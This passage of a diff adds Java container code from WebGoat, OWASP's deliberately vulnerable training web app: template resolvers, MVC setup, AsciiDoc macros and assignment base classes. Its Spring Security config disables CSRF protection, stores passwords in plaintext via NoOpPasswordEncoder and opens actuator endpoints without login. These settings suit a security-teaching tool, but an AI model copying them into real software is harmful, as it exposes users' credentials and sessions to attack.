+    public void setLoginTimeout(int seconds) throws SQLException {
+        originalDataSource.setLoginTimeout(seconds);
+    }
+
+    @Override
+    public int getLoginTimeout() throws SQLException {
+        return originalDataSource.getLoginTimeout();
+    }
+
+    @Override
+    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
+        return originalDataSource.getParentLogger();
+    }
+
+    @Override
+    public <T> T unwrap(Class<T> clazz) throws SQLException {
+        return originalDataSource.unwrap(clazz);
+    }
+
+    @Override
+    public boolean isWrapperFor(Class<?> clazz) throws SQLException {
+        return originalDataSource.isWrapperFor(clazz);
+    }
+}

src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java

@@ -0,0 +1,82 @@
+/**
+ * ************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ *
+ * @author WebGoat
+ * @version $Id: $Id
+ * @since October 28, 2003
+ */
+
+package org.owasp.webgoat.container;
+
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.core.io.ResourceLoader;
+import org.thymeleaf.IEngineConfiguration;
+import org.thymeleaf.templateresolver.FileTemplateResolver;
+import org.thymeleaf.templateresource.ITemplateResource;
+import org.thymeleaf.templateresource.StringTemplateResource;
+
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Dynamically resolve a lesson. In the html file this can be invoked as:
+ *
+ * <code>
+ * <div th:case="true" th:replace="lesson:__${lesson.class.simpleName}__"></div>
+ * </code>
+ * <p>
+ * Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve the html in the plugins directory
+ */
+@Slf4j
+public class LessonTemplateResolver extends FileTemplateResolver {
+
+    private static final String PREFIX = "lesson:";
+    private ResourceLoader resourceLoader;
+    private Map<String, byte[]> resources = new HashMap<>();
+
+    public LessonTemplateResolver(ResourceLoader resourceLoader) {
+        this.resourceLoader = resourceLoader;
+        setResolvablePatterns(Set.of(PREFIX + "*"));
+    }
+
+    @Override
+    protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
+        var templateName = resourceName.substring(PREFIX.length());
+        byte[] resource = resources.get(templateName);
+        if (resource == null) {
+            try {
+                resource = resourceLoader.getResource("classpath:/" + templateName).getInputStream().readAllBytes();
+            } catch (IOException e) {
+                log.error("Unable to find lesson HTML: {}", template);
+            }
+            resources.put(templateName, resource);
+        }
+        return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
+    }
+}

src/main/java/org/owasp/webgoat/container/MvcConfiguration.java

@@ -0,0 +1,218 @@
+/**
+ * ************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ *
+ * @author WebGoat
+ * @version $Id: $Id
+ * @since October 28, 2003
+ */
+
+package org.owasp.webgoat.container;
+
+import lombok.RequiredArgsConstructor;
+import org.owasp.webgoat.container.i18n.Language;
+import org.owasp.webgoat.container.i18n.Messages;
+import org.owasp.webgoat.container.i18n.PluginMessages;
+import org.owasp.webgoat.container.lessons.LessonScanner;
+import org.owasp.webgoat.container.session.LabelDebugger;
+import org.springframework.context.ApplicationContext;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.core.io.ResourceLoader;
+import org.springframework.core.io.support.ResourcePatternResolver;
+import org.springframework.web.servlet.LocaleResolver;
+import org.springframework.web.servlet.ViewResolver;
+import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
+import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
+import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
+import org.springframework.web.servlet.i18n.SessionLocaleResolver;
+import org.thymeleaf.IEngineConfiguration;
+import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
+import org.thymeleaf.spring5.SpringTemplateEngine;
+import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
+import org.thymeleaf.spring5.view.ThymeleafViewResolver;
+import org.thymeleaf.templatemode.TemplateMode;
+import org.thymeleaf.templateresolver.FileTemplateResolver;
+import org.thymeleaf.templateresolver.ITemplateResolver;
+import org.thymeleaf.templateresource.ITemplateResource;
+import org.thymeleaf.templateresource.StringTemplateResource;
+
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Configuration for Spring MVC
+ */
+@Configuration
+@RequiredArgsConstructor
+public class MvcConfiguration implements WebMvcConfigurer {
+
+    private static final String UTF8 = "UTF-8";
+
+    private final LessonScanner lessonScanner;
+
+    @Override
+    public void addViewControllers(ViewControllerRegistry registry) {
+        registry.addViewController("/login").setViewName("login");
+        registry.addViewController("/lesson_content").setViewName("lesson_content");
+        registry.addViewController("/start.mvc").setViewName("main_new");
+        registry.addViewController("/scoreboard").setViewName("scoreboard");
+    }
+
+    @Bean
+    public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {
+        ThymeleafViewResolver resolver = new ThymeleafViewResolver();
+        resolver.setTemplateEngine(thymeleafTemplateEngine);
+        resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName());
+        return resolver;
+    }
+
+    /**
+     * Responsible for loading lesson templates based on Thymeleaf, for example:
+     *
+     * <div th:include="/lessons/spoofcookie/templates/spoofcookieform.html" id="content"></div>
+     */
+    @Bean
+    public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) {
+        var resolver = new FileTemplateResolver() {
+            @Override
+            protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
+               try (var is = resourceLoader.getResource("classpath:" + resourceName).getInputStream()) {
+                    return new StringTemplateResource(new String(is.readAllBytes(), StandardCharsets.UTF_8));
+               } catch (IOException e) {
+                   return null;
+               }
+            }
+        };
+        resolver.setOrder(1);
+        return resolver;
+    }
+
+    /**
+     * Loads all normal WebGoat specific Thymeleaf templates
+     */
+    @Bean
+    public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
+        SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
+        resolver.setPrefix("classpath:/webgoat/templates/");
+        resolver.setSuffix(".html");
+        resolver.setTemplateMode(TemplateMode.HTML);
+        resolver.setOrder(2);
+        resolver.setCharacterEncoding(UTF8);
+        resolver.setApplicationContext(applicationContext);
+        return resolver;
+    }
+
+    /**
+     * Loads the html for the complete lesson, see lesson_content.html
+     */
+    @Bean
+    public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
+        LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
+        resolver.setOrder(0);
+        resolver.setCacheable(false);
+        resolver.setCharacterEncoding(UTF8);
+        return resolver;
+    }
+
+    /**
+     * Loads the lesson asciidoc.
+     */
+    @Bean
+    public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(ResourceLoader resourceLoader) {
+        AsciiDoctorTemplateResolver resolver = new AsciiDoctorTemplateResolver(resourceLoader);
+        resolver.setCacheable(false);
+        resolver.setOrder(1);
+        resolver.setCharacterEncoding(UTF8);
+        return resolver;
+    }
+
+    @Bean
+    public SpringTemplateEngine thymeleafTemplateEngine(ITemplateResolver springThymeleafTemplateResolver,
+                                                        LessonTemplateResolver lessonTemplateResolver,
+                                                        AsciiDoctorTemplateResolver asciiDoctorTemplateResolver,
+                                                        ITemplateResolver lessonThymeleafTemplateResolver) {
+        SpringTemplateEngine engine = new SpringTemplateEngine();
+        engine.setEnableSpringELCompiler(true);
+        engine.addDialect(new SpringSecurityDialect());
+        engine.setTemplateResolvers(
+                Set.of(lessonTemplateResolver, asciiDoctorTemplateResolver, lessonThymeleafTemplateResolver, springThymeleafTemplateResolver));
+        return engine;
+    }
+
+    @Override
+    public void addResourceHandlers(ResourceHandlerRegistry registry) {
+        //WebGoat internal
+        registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/");
+        registry.addResourceHandler("/js/**")
+                .addResourceLocations("classpath:/webgoat/static/js/");
+        registry.addResourceHandler("/plugins/**").addResourceLocations("classpath:/webgoat/static/plugins/");
+        registry.addResourceHandler("/fonts/**").addResourceLocations("classpath:/webgoat/static/fonts/");
+
+        //WebGoat lessons
+        registry.addResourceHandler("/images/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new));
+        registry.addResourceHandler("/lesson_js/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new));
+        registry.addResourceHandler("/lesson_css/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new));
+        registry.addResourceHandler("/lesson_templates/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new));
+        registry.addResourceHandler("/video/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new));
+    }
+
+    @Bean
+    public PluginMessages pluginMessages(Messages messages, Language language,
+                                         ResourcePatternResolver resourcePatternResolver) {
+        PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver);
+        pluginMessages.setDefaultEncoding("UTF-8");
+        pluginMessages.setBasenames("i18n/WebGoatLabels");
+        pluginMessages.setFallbackToSystemLocale(false);
+        return pluginMessages;
+    }
+
+    @Bean
+    public Language language(LocaleResolver localeResolver) {
+        return new Language(localeResolver);
+    }
+
+    @Bean
+    public Messages messageSource(Language language) {
+        Messages messages = new Messages(language);
+        messages.setDefaultEncoding("UTF-8");
+        messages.setBasename("classpath:i18n/messages");
+        messages.setFallbackToSystemLocale(false);
+        return messages;
+    }
+
+    @Bean
+    public LocaleResolver localeResolver() {
+        return new SessionLocaleResolver();
+    }
+
+    @Bean
+    public LabelDebugger labelDebugger() {
+        return new LabelDebugger();
+    }
+
+}

src/main/java/org/owasp/webgoat/container/WebGoat.java

@@ -0,0 +1,75 @@
+/**
+ * ************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ *
+ * @author WebGoat
+ * @version $Id: $Id
+ * @since October 28, 2003
+ */
+
+package org.owasp.webgoat.container;
+
+import org.owasp.webgoat.container.session.UserSessionData;
+import org.owasp.webgoat.container.session.WebSession;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.PropertySource;
+import org.springframework.context.annotation.Scope;
+import org.springframework.context.annotation.ScopedProxyMode;
+import org.springframework.web.client.RestTemplate;
+
+import java.io.File;
+
+@Configuration
+@ComponentScan(basePackages = { "org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
+@PropertySource("classpath:application-webgoat.properties")
+@EnableAutoConfiguration
+public class WebGoat {
+
+    @Bean(name = "pluginTargetDirectory")
+    public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
+        return new File(webgoatHome);
+    }
+
+    @Bean
+    @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
+    public WebSession webSession() {
+        return new WebSession();
+    }
+
+    @Bean
+    @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
+    public UserSessionData userSessionData() {
+        return new UserSessionData("test", "data");
+    }
+
+    @Bean
+    public RestTemplate restTemplate() {
+        return new RestTemplate();
+    }
+}

src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java

@@ -0,0 +1,100 @@
+/**
+ * ************************************************************************************************
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ * <p>
+ *
+ * @author WebGoat
+ * @version $Id: $Id
+ * @since December 12, 2015
+ */
+
+package org.owasp.webgoat.container;
+
+import lombok.AllArgsConstructor;
+import org.owasp.webgoat.container.users.UserService;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.security.authentication.AuthenticationManager;
+import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
+import org.springframework.security.config.annotation.web.builders.HttpSecurity;
+import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
+import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
+import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
+import org.springframework.security.core.userdetails.UserDetailsService;
+import org.springframework.security.crypto.password.NoOpPasswordEncoder;
+
+/**
+ * Security configuration for WebGoat.
+ */
+@Configuration
+@AllArgsConstructor
+@EnableWebSecurity
+public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
+
+    private final UserService userDetailsService;
+
+    @Override
+    protected void configure(HttpSecurity http) throws Exception {
+        ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http
+                .authorizeRequests()
+                .antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "/registration", "/register.mvc", "/actuator/**").permitAll()
+                .anyRequest().authenticated();
+        security.and()
+                .formLogin()
+                .loginPage("/login")
+                .defaultSuccessUrl("/welcome.mvc", true)
+                .usernameParameter("username")
+                .passwordParameter("password")
+                .permitAll();
+        security.and()
+                .logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
+        security.and().csrf().disable();
+
+        http.headers().cacheControl().disable();
+        http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
+    }
+
+    @Autowired
+    public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
+        auth.userDetailsService(userDetailsService);
+    }
+
+    @Bean
+    @Override
+    public UserDetailsService userDetailsServiceBean() throws Exception {
+        return userDetailsService;
+    }
+
+    @Override
+    @Bean
+    protected AuthenticationManager authenticationManager() throws Exception {
+        return super.authenticationManager();
+    }
+
+    @SuppressWarnings("deprecation")
+    @Bean
+    public NoOpPasswordEncoder passwordEncoder() {
+        return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();
+    }
+}

src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java

@@ -0,0 +1,21 @@
+package org.owasp.webgoat.container;
+
+import lombok.RequiredArgsConstructor;
+import org.springframework.context.ApplicationContext;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.servlet.ModelAndView;
+
+@Controller
+@RequiredArgsConstructor
+public class WebWolfRedirect {
+
+    private final ApplicationContext applicationContext;
+
+    @GetMapping("/WebWolf")
+    public ModelAndView openWebWolf() {
+        var url = applicationContext.getEnvironment().getProperty("webwolf.url");
+
+        return new ModelAndView("redirect:" + url + "/home");
+    }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java

@@ -0,0 +1,25 @@
+package org.owasp.webgoat.container.asciidoc;
+
+import org.springframework.beans.BeansException;
+import org.springframework.context.ApplicationContext;
+import org.springframework.context.ApplicationContextAware;
+import org.springframework.core.env.Environment;
+import org.springframework.stereotype.Component;
+
+/**
+ * Make environment available in the asciidoc code (which you cannot inject because it is handled by the framework)
+ */
+@Component
+public class EnvironmentExposure implements ApplicationContextAware {
+
+    private static ApplicationContext context;
+
+    public static Environment getEnv() {
+        return context.getEnvironment();
+    }
+
+    @Override
+    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
+        context = applicationContext;
+    }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java

@@ -0,0 +1,25 @@
+package org.owasp.webgoat.container.asciidoc;
+
+import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.extension.InlineMacroProcessor;
+
+import java.util.Map;
+
+public class OperatingSystemMacro extends InlineMacroProcessor {
+
+    public OperatingSystemMacro(String macroName) {
+        super(macroName);
+    }
+
+    public OperatingSystemMacro(String macroName, Map<String, Object> config) {
+        super(macroName, config);
+    }
+
+    @Override
+    public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+        var osName = System.getProperty("os.name");
+
+        //see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+        return createPhraseNode(contentNode, "quoted", osName);
+    }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java

@@ -0,0 +1,31 @@
+package org.owasp.webgoat.container.asciidoc;
+
+import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.extension.InlineMacroProcessor;
+import org.owasp.webgoat.container.users.WebGoatUser;
+import org.springframework.security.core.context.SecurityContextHolder;
+
+import java.util.Map;
+
+public class UsernameMacro extends InlineMacroProcessor {
+
+    public UsernameMacro(String macroName) {
+        super(macroName);
+    }
+
+    public UsernameMacro(String macroName, Map<String, Object> config) {
+        super(macroName, config);
+    }
+
+    @Override
+    public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+        var auth = SecurityContextHolder.getContext().getAuthentication();
+        var username = "unknown";
+        if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {
+            username = webGoatUser.getUsername();
+        }
+
+        //see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+        return createPhraseNode(contentNode, "quoted", username);
+    }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java

@@ -0,0 +1,26 @@
+package org.owasp.webgoat.container.asciidoc;
+
+import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.extension.InlineMacroProcessor;
+
+import java.util.Map;
+
+public class WebGoatTmpDirMacro extends InlineMacroProcessor {
+
+    public WebGoatTmpDirMacro(String macroName) {
+        super(macroName);
+    }
+
+    public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {
+        super(macroName, config);
+    }
+
+    @Override
+	public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+        var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
+
+        //see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+        return createPhraseNode(contentNode, "quoted", env);
+
+    }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java

@@ -0,0 +1,25 @@
+package org.owasp.webgoat.container.asciidoc;
+
+import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.extension.InlineMacroProcessor;
+
+import java.util.Map;
+
+public class WebGoatVersionMacro extends InlineMacroProcessor {
+
+    public WebGoatVersionMacro(String macroName) {
+        super(macroName);
+    }
+
+    public WebGoatVersionMacro(String macroName, Map<String, Object> config) {
+        super(macroName, config);
+    }
+
+    @Override
+	public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+        var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
+
+        //see https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
+        return createPhraseNode(contentNode, "quoted", webgoatVersion);
+    }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java

@@ -0,0 +1,73 @@
+package org.owasp.webgoat.container.asciidoc;
+
+import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.extension.InlineMacroProcessor;
+import org.springframework.web.context.request.RequestContextHolder;
+import org.springframework.web.context.request.ServletRequestAttributes;
+
+import javax.servlet.http.HttpServletRequest;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Usage in asciidoc:
+ * <p>
+ * webWolfLink:here[] will display a href with here as text
+ */
+public class WebWolfMacro extends InlineMacroProcessor {
+
+    public WebWolfMacro(String macroName) {
+        super(macroName);
+    }
+
+    public WebWolfMacro(String macroName, Map<String, Object> config) {
+        super(macroName, config);
+    }
+
+    @Override
+    public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {
+        var env = EnvironmentExposure.getEnv();
+        var hostname = determineHost(env.getProperty("webwolf.port"));
+        var target = (String) attributes.getOrDefault("target", "home");
+        var href = hostname + "/" + target;
+
+        //are we using noLink in webWolfLink:landing[noLink]? Then display link with full href
+        if (displayCompleteLinkNoFormatting(attributes)) {
+            linkText = href;
+        }
+
+        var options = new HashMap<String, Object>();
+        options.put("type", ":link");
+        options.put("target", href);
+        attributes.put("window", "_blank");
+        return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert();
+    }
+
+    private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
+        return attributes.values().stream().anyMatch(a -> a.equals("noLink"));
+    }
+
+    /**
+     * Determine the host from the hostname and ports that were used.
+     * The purpose is to make it possible to use the application behind a reverse proxy. For instance in the docker
+     * compose/stack version with webgoat webwolf and nginx proxy.
+     * You do not have to use the indicated hostname, but if you do, you should define two hosts aliases
+     * 127.0.0.1 www.webgoat.local www.webwolf.local
+     */
+    private String determineHost(String port) {
+        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
+        String host = request.getHeader("Host");
+        int semicolonIndex = host.indexOf(":");
+        if (semicolonIndex == -1 || host.endsWith(":80")) {
+            host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local");
+        } else {
+            host = host.substring(0, semicolonIndex);
+            host = host.concat(":").concat(port);
+        }
+        return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : "");
+    }
+
+    protected boolean includeWebWolfContext() {
+        return true;
+    }
+}

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java

@@ -0,0 +1,25 @@
+package org.owasp.webgoat.container.asciidoc;
+
+import java.util.Map;
+
+/**
+ * Usage in asciidoc:
+ * <p>
+ * webWolfLink:here[] will display a href with here as text
+ * webWolfLink:landing[noLink] will display the complete url, for example: http://WW_HOST:WW_PORT/landing
+ */
+public class WebWolfRootMacro extends WebWolfMacro {
+
+    public WebWolfRootMacro(String macroName) {
+        super(macroName);
+    }
+
+    public WebWolfRootMacro(String macroName, Map<String, Object> config) {
+        super(macroName, config);
+    }
+
+    @Override
+    protected boolean includeWebWolfContext() {
+        return false;
+    }
+}

src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java

@@ -0,0 +1,91 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2017 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ * <p>
+ */
+
+package org.owasp.webgoat.container.assignments;
+
+import lombok.Getter;
+import org.owasp.webgoat.container.i18n.PluginMessages;
+import org.owasp.webgoat.container.lessons.Initializeable;
+import org.owasp.webgoat.container.session.UserSessionData;
+import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.users.WebGoatUser;
+import org.springframework.beans.factory.annotation.Autowired;
+
+public abstract class AssignmentEndpoint implements Initializeable {
+
+    @Autowired
+    private WebSession webSession;
+    @Autowired
+    private UserSessionData userSessionData;
+    @Getter
+    @Autowired
+    private PluginMessages messages;
+
+    protected WebSession getWebSession() {
+        return webSession;
+    }
+
+    protected UserSessionData getUserSessionData() {
+        return userSessionData;
+    }
+
+    /**
+     * Convenience method for create a successful result:
+     * <p>
+     * - Assignment is set to solved
+     * - Feedback message is set to 'assignment.solved'
+     * <p>
+     * Of course you can overwrite these values in a specific lesson
+     *
+     * @return a builder for creating a result from a lesson
+     * @param assignment
+     */
+    protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) {
+        return AttackResult.builder(messages).lessonCompleted(true).attemptWasMade().feedback("assignment.solved").assignment(assignment);
+    }
+
+    /**
+     * Convenience method for create a failed result:
+     * <p>
+     * - Assignment is set to not solved
+     * - Feedback message is set to 'assignment.not.solved'
+     * <p>
+     * Of course you can overwrite these values in a specific lesson
+     *
+     * @return a builder for creating a result from a lesson
+     * @param assignment
+     */
+    protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) {
+        return AttackResult.builder(messages).lessonCompleted(false).attemptWasMade().feedback("assignment.not.solved").assignment(assignment);
+    }
+
+    protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
+        return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment);
+    }
+
+    @Override
+    public void initialize(WebGoatUser user) {
+    }
+}

src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java

@@ -0,0 +1,16 @@
+package org.owasp.webgoat.container.assignments;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Created by nbaars on 1/14/17.
+ */
+@Target(ElementType.TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface AssignmentHints {
+
+    String[] value() default {};
+}

src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java

@@ -0,0 +1,22 @@
+package org.owasp.webgoat.container.assignments;
+
+import org.springframework.web.bind.annotation.RequestMethod;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Created by nbaars on 1/14/17.
+ */
+@Target(ElementType.TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface AssignmentPath {
+
+    String[] path() default {};
+
+    RequestMethod[] method() default {};
+
+    String value() default "";
+}

src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java

@@ -0,0 +1,124 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2017 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
